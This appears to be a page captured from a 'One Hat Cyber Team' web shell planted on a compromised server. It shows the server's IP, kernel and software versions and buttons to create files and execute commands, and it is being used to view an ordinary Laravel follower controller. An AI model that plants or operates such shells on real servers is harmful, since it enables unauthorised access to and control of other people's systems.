⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
id
/
public_html
/
app
/
Http
/
Controllers
/
User
/
View File Name :
FollowerController.php
<?php namespace App\Http\Controllers\User; use App\Http\Controllers\Controller; use App\Models\User; use App\Models\User\Follower; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Session; class FollowerController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { // } public function follow($id){ $followCheck = Follower::query()->where([ ['follower_id',Auth::id()], ['following_id',$id], ])->first(); if(is_null($followCheck)){ $follow = new Follower(); $follow->follower_id = Auth::id(); $follow->following_id = $id; $follow->save(); Session::flash('success', toastrMsg('You_have_followed_successfully!')); return redirect()->route('front.user.view'); } else{ return redirect()->route('front.user.view'); } } public function follower(){ $data['users'] = []; $followerListIds = Follower::query()->where('following_id',Auth::id())->pluck('follower_id'); if(count($followerListIds) > 0){ $data['users'] = User::whereIn('id',$followerListIds)->paginate(10); } return view('user.follower.index',$data); } public function following() { $data['users'] = []; $followingListIds = Follower::query()->where('follower_id', Auth::id())->pluck('following_id'); if (count($followingListIds) > 0) { $data['users'] = User::whereIn('id',$followingListIds)->paginate(10); } return view('user.following.index', $data); } public function unfollow($id){ $followCheck = Follower::query() ->where([ ['follower_id',Auth::id()], ['following_id',$id], ])->firstOrFail(); if(!is_null($followCheck)){ $followCheck->delete(); Session::flash('success', toastrMsg('You_have_unfollowed_successfully!')); return redirect()->back(); }else{ Session::flash('warning', 'You_cannot_unfollow_the_user!'); return redirect()->back(); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } }